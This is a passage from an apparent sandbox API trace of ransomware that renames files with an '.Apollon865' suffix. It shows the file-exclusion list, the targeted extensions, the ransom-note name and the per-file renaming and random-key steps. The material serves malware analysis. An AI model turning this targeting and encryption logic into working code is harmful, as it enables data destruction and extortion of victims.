	[0070.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.CN.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.cn.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0070.085] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=812) returned 1
	[0070.086] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0070.086] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0070.086] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0070.086] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0070.087] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0070.087] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.087] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x118
	[0070.088] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0070.089] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0070.089] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0070.089] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.090] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0070.090] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0070.090] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0070.090] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0070.090] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0070.090] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0070.090] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0070.090] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0070.090] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0070.090] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0070.090] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0070.090] CloseHandle (hObject=0x118) returned 1
	[0070.090] CloseHandle (hObject=0xc0) returned 1
	[0070.090] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0070.090] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0070.090] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0070.090] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YAHOO.COM.HK.XML", cAlternateFileName="YA56AC~1.XML")) returned 1
	[0070.091] lstrcmpiW (lpString1="YAHOO.COM.HK.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.091] lstrcmpiW (lpString1="YAHOO.COM.HK.XML", lpString2="Apollon865.txt.exe") returned 1
	[0070.091] lstrcmpiW (lpString1="YAHOO.COM.HK.XML", lpString2=".") returned 1
	[0070.091] lstrcmpiW (lpString1="YAHOO.COM.HK.XML", lpString2="..") returned 1
	[0070.091] lstrcmpiW (lpString1="YAHOO.COM.HK.XML", lpString2="windows") returned 1
	[0070.091] lstrcmpiW (lpString1="YAHOO.COM.HK.XML", lpString2="bootmgr") returned 1
	[0070.091] lstrcmpiW (lpString1="YAHOO.COM.HK.XML", lpString2="temp") returned 1
	[0070.091] lstrcmpiW (lpString1="YAHOO.COM.HK.XML", lpString2="pagefile.sys") returned 1
	[0070.091] lstrcmpiW (lpString1="YAHOO.COM.HK.XML", lpString2="boot") returned 1
	[0070.091] lstrcmpiW (lpString1="YAHOO.COM.HK.XML", lpString2="ids.txt") returned 1
	[0070.091] lstrcmpiW (lpString1="YAHOO.COM.HK.XML", lpString2="ntuser.dat") returned 1
	[0070.091] lstrcmpiW (lpString1="YAHOO.COM.HK.XML", lpString2="perflogs") returned 1
	[0070.091] lstrcmpiW (lpString1="YAHOO.COM.HK.XML", lpString2="MSBuild") returned 1
	[0070.091] lstrlenW (lpString="YAHOO.COM.HK.XML") returned 16
	[0070.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.CN.XML") returned 79
	[0070.091] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="YAHOO.COM.HK.XML" | out: lpString1="YAHOO.COM.HK.XML") returned="YAHOO.COM.HK.XML"
	[0070.091] lstrlenW (lpString="YAHOO.COM.HK.XML") returned 16
	[0070.091] lstrlenW (lpString="Apollon865") returned 10
	[0070.091] lstrcmpiW (lpString1="COM.HK.XML", lpString2="Apollon865") returned 1
	[0070.091] lstrlenW (lpString=".dll") returned 4
	[0070.091] lstrcmpiW (lpString1="YAHOO.COM.HK.XML", lpString2=".dll") returned 1
	[0070.091] lstrlenW (lpString=".lnk") returned 4
	[0070.091] lstrcmpiW (lpString1="YAHOO.COM.HK.XML", lpString2=".lnk") returned 1
	[0070.091] lstrlenW (lpString=".ini") returned 4
	[0070.091] lstrcmpiW (lpString1="YAHOO.COM.HK.XML", lpString2=".ini") returned 1
	[0070.091] lstrlenW (lpString=".sys") returned 4
	[0070.091] lstrcmpiW (lpString1="YAHOO.COM.HK.XML", lpString2=".sys") returned 1
	[0070.091] lstrlenW (lpString="YAHOO.COM.HK.XML") returned 16
	[0070.091] lstrlenW (lpString="bak") returned 3
	[0070.092] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0070.092] lstrlenW (lpString="ba_") returned 3
	[0070.092] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0070.092] lstrlenW (lpString="dbb") returned 3
	[0070.092] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0070.092] lstrlenW (lpString="vmdk") returned 4
	[0070.092] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0070.092] lstrlenW (lpString="rar") returned 3
	[0070.092] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0070.092] lstrlenW (lpString="zip") returned 3
	[0070.092] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0070.092] lstrlenW (lpString="tgz") returned 3
	[0070.092] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0070.092] lstrlenW (lpString="vbox") returned 4
	[0070.092] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0070.092] lstrlenW (lpString="vdi") returned 3
	[0070.092] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0070.092] lstrlenW (lpString="vhd") returned 3
	[0070.092] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0070.092] lstrlenW (lpString="vhdx") returned 4
	[0070.092] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0070.092] lstrlenW (lpString="avhd") returned 4
	[0070.092] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0070.092] lstrlenW (lpString="db") returned 2
	[0070.092] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0070.092] lstrlenW (lpString="db2") returned 3
	[0070.092] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0070.092] lstrlenW (lpString="db3") returned 3
	[0070.092] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0070.092] lstrlenW (lpString="dbf") returned 3
	[0070.092] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0070.092] lstrlenW (lpString="mdf") returned 3
	[0070.092] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0070.092] lstrlenW (lpString="mdb") returned 3
	[0070.092] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0070.092] lstrlenW (lpString="sql") returned 3
	[0070.092] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0070.093] lstrlenW (lpString="sqlite") returned 6
	[0070.093] lstrcmpiW (lpString1="HK.XML", lpString2="sqlite") returned -1
	[0070.093] lstrlenW (lpString="sqlite3") returned 7
	[0070.093] lstrcmpiW (lpString1=".HK.XML", lpString2="sqlite3") returned -1
	[0070.093] lstrlenW (lpString="sqlitedb") returned 8
	[0070.093] lstrcmpiW (lpString1="M.HK.XML", lpString2="sqlitedb") returned -1
	[0070.093] lstrlenW (lpString="xml") returned 3
	[0070.093] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0070.093] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.HK.XML.Apollon865") returned 90
	[0070.093] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.HK.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.hk.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.HK.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.hk.xml.apollon865"), dwFlags=0x1) returned 1
	[0070.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.HK.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.hk.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0070.094] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=812) returned 1
	[0070.094] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0070.094] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0070.094] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0070.095] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0070.095] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0070.095] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.095] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x118
	[0070.097] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0070.097] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0070.098] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0070.098] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.098] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0070.098] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0070.098] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0070.098] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0070.098] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0070.098] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0070.098] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0070.099] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0070.099] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0070.099] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0070.099] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0070.099] CloseHandle (hObject=0x118) returned 1
	[0070.099] CloseHandle (hObject=0xc0) returned 1
	[0070.099] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0070.099] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0070.099] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0070.099] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YAHOO.COM.MX.XML", cAlternateFileName="YAEA08~1.XML")) returned 1
	[0070.099] lstrcmpiW (lpString1="YAHOO.COM.MX.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.099] lstrcmpiW (lpString1="YAHOO.COM.MX.XML", lpString2="Apollon865.txt.exe") returned 1
	[0070.099] lstrcmpiW (lpString1="YAHOO.COM.MX.XML", lpString2=".") returned 1
	[0070.099] lstrcmpiW (lpString1="YAHOO.COM.MX.XML", lpString2="..") returned 1
	[0070.099] lstrcmpiW (lpString1="YAHOO.COM.MX.XML", lpString2="windows") returned 1
	[0070.099] lstrcmpiW (lpString1="YAHOO.COM.MX.XML", lpString2="bootmgr") returned 1
	[0070.099] lstrcmpiW (lpString1="YAHOO.COM.MX.XML", lpString2="temp") returned 1
	[0070.099] lstrcmpiW (lpString1="YAHOO.COM.MX.XML", lpString2="pagefile.sys") returned 1
	[0070.099] lstrcmpiW (lpString1="YAHOO.COM.MX.XML", lpString2="boot") returned 1
	[0070.099] lstrcmpiW (lpString1="YAHOO.COM.MX.XML", lpString2="ids.txt") returned 1
	[0070.099] lstrcmpiW (lpString1="YAHOO.COM.MX.XML", lpString2="ntuser.dat") returned 1
	[0070.099] lstrcmpiW (lpString1="YAHOO.COM.MX.XML", lpString2="perflogs") returned 1
	[0070.099] lstrcmpiW (lpString1="YAHOO.COM.MX.XML", lpString2="MSBuild") returned 1
	[0070.100] lstrlenW (lpString="YAHOO.COM.MX.XML") returned 16
	[0070.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.HK.XML") returned 79
	[0070.100] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="YAHOO.COM.MX.XML" | out: lpString1="YAHOO.COM.MX.XML") returned="YAHOO.COM.MX.XML"
	[0070.100] lstrlenW (lpString="YAHOO.COM.MX.XML") returned 16
	[0070.100] lstrlenW (lpString="Apollon865") returned 10
	[0070.100] lstrcmpiW (lpString1="COM.MX.XML", lpString2="Apollon865") returned 1
	[0070.100] lstrlenW (lpString=".dll") returned 4
	[0070.100] lstrcmpiW (lpString1="YAHOO.COM.MX.XML", lpString2=".dll") returned 1
	[0070.100] lstrlenW (lpString=".lnk") returned 4
	[0070.100] lstrcmpiW (lpString1="YAHOO.COM.MX.XML", lpString2=".lnk") returned 1
	[0070.100] lstrlenW (lpString=".ini") returned 4
	[0070.100] lstrcmpiW (lpString1="YAHOO.COM.MX.XML", lpString2=".ini") returned 1
	[0070.100] lstrlenW (lpString=".sys") returned 4
	[0070.100] lstrcmpiW (lpString1="YAHOO.COM.MX.XML", lpString2=".sys") returned 1
	[0070.100] lstrlenW (lpString="YAHOO.COM.MX.XML") returned 16
	[0070.100] lstrlenW (lpString="bak") returned 3
	[0070.100] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0070.100] lstrlenW (lpString="ba_") returned 3
	[0070.100] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0070.100] lstrlenW (lpString="dbb") returned 3
	[0070.100] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0070.100] lstrlenW (lpString="vmdk") returned 4
	[0070.100] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0070.100] lstrlenW (lpString="rar") returned 3
	[0070.100] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0070.100] lstrlenW (lpString="zip") returned 3
	[0070.100] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0070.100] lstrlenW (lpString="tgz") returned 3
	[0070.100] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0070.100] lstrlenW (lpString="vbox") returned 4
	[0070.100] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0070.100] lstrlenW (lpString="vdi") returned 3
	[0070.100] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0070.100] lstrlenW (lpString="vhd") returned 3
	[0070.100] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0070.100] lstrlenW (lpString="vhdx") returned 4
	[0070.100] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0070.101] lstrlenW (lpString="avhd") returned 4
	[0070.101] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0070.101] lstrlenW (lpString="db") returned 2
	[0070.101] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0070.101] lstrlenW (lpString="db2") returned 3
	[0070.101] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0070.101] lstrlenW (lpString="db3") returned 3
	[0070.101] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0070.101] lstrlenW (lpString="dbf") returned 3
	[0070.101] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0070.101] lstrlenW (lpString="mdf") returned 3
	[0070.101] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0070.101] lstrlenW (lpString="mdb") returned 3
	[0070.101] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0070.101] lstrlenW (lpString="sql") returned 3
	[0070.101] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0070.101] lstrlenW (lpString="sqlite") returned 6
	[0070.101] lstrcmpiW (lpString1="MX.XML", lpString2="sqlite") returned -1
	[0070.101] lstrlenW (lpString="sqlite3") returned 7
	[0070.101] lstrcmpiW (lpString1=".MX.XML", lpString2="sqlite3") returned -1
	[0070.101] lstrlenW (lpString="sqlitedb") returned 8
	[0070.101] lstrcmpiW (lpString1="M.MX.XML", lpString2="sqlitedb") returned -1
	[0070.101] lstrlenW (lpString="xml") returned 3
	[0070.101] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0070.101] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.MX.XML.Apollon865") returned 90
	[0070.101] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.MX.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.mx.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.MX.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.mx.xml.apollon865"), dwFlags=0x1) returned 1
	[0070.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.MX.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.mx.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0070.102] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=806) returned 1
	[0070.102] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0070.102] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0070.102] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0070.103] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0070.103] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0070.103] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.103] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x118
	[0070.105] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0070.105] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0070.106] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0070.106] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.106] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0070.106] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0070.106] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0070.106] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0070.106] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0070.106] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0070.106] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0070.107] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0070.107] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0070.107] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0070.107] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0070.107] CloseHandle (hObject=0x118) returned 1
	[0070.107] CloseHandle (hObject=0xc0) returned 1
	[0070.107] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0070.107] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0070.107] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0070.107] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YAHOO.COM.MY.XML", cAlternateFileName="YA0670~1.XML")) returned 1
	[0070.107] lstrcmpiW (lpString1="YAHOO.COM.MY.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.107] lstrcmpiW (lpString1="YAHOO.COM.MY.XML", lpString2="Apollon865.txt.exe") returned 1
	[0070.107] lstrcmpiW (lpString1="YAHOO.COM.MY.XML", lpString2=".") returned 1
	[0070.107] lstrcmpiW (lpString1="YAHOO.COM.MY.XML", lpString2="..") returned 1
	[0070.107] lstrcmpiW (lpString1="YAHOO.COM.MY.XML", lpString2="windows") returned 1
	[0070.107] lstrcmpiW (lpString1="YAHOO.COM.MY.XML", lpString2="bootmgr") returned 1
	[0070.107] lstrcmpiW (lpString1="YAHOO.COM.MY.XML", lpString2="temp") returned 1
	[0070.107] lstrcmpiW (lpString1="YAHOO.COM.MY.XML", lpString2="pagefile.sys") returned 1
	[0070.107] lstrcmpiW (lpString1="YAHOO.COM.MY.XML", lpString2="boot") returned 1
	[0070.107] lstrcmpiW (lpString1="YAHOO.COM.MY.XML", lpString2="ids.txt") returned 1
	[0070.107] lstrcmpiW (lpString1="YAHOO.COM.MY.XML", lpString2="ntuser.dat") returned 1
	[0070.107] lstrcmpiW (lpString1="YAHOO.COM.MY.XML", lpString2="perflogs") returned 1
	[0070.108] lstrcmpiW (lpString1="YAHOO.COM.MY.XML", lpString2="MSBuild") returned 1
	[0070.108] lstrlenW (lpString="YAHOO.COM.MY.XML") returned 16
	[0070.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.MX.XML") returned 79
	[0070.108] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="YAHOO.COM.MY.XML" | out: lpString1="YAHOO.COM.MY.XML") returned="YAHOO.COM.MY.XML"
	[0070.108] lstrlenW (lpString="YAHOO.COM.MY.XML") returned 16
	[0070.108] lstrlenW (lpString="Apollon865") returned 10
	[0070.108] lstrcmpiW (lpString1="COM.MY.XML", lpString2="Apollon865") returned 1
	[0070.108] lstrlenW (lpString=".dll") returned 4
	[0070.108] lstrcmpiW (lpString1="YAHOO.COM.MY.XML", lpString2=".dll") returned 1
	[0070.108] lstrlenW (lpString=".lnk") returned 4
	[0070.108] lstrcmpiW (lpString1="YAHOO.COM.MY.XML", lpString2=".lnk") returned 1
	[0070.108] lstrlenW (lpString=".ini") returned 4
	[0070.108] lstrcmpiW (lpString1="YAHOO.COM.MY.XML", lpString2=".ini") returned 1
	[0070.108] lstrlenW (lpString=".sys") returned 4
	[0070.108] lstrcmpiW (lpString1="YAHOO.COM.MY.XML", lpString2=".sys") returned 1
	[0070.108] lstrlenW (lpString="YAHOO.COM.MY.XML") returned 16
	[0070.108] lstrlenW (lpString="bak") returned 3
	[0070.108] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0070.108] lstrlenW (lpString="ba_") returned 3
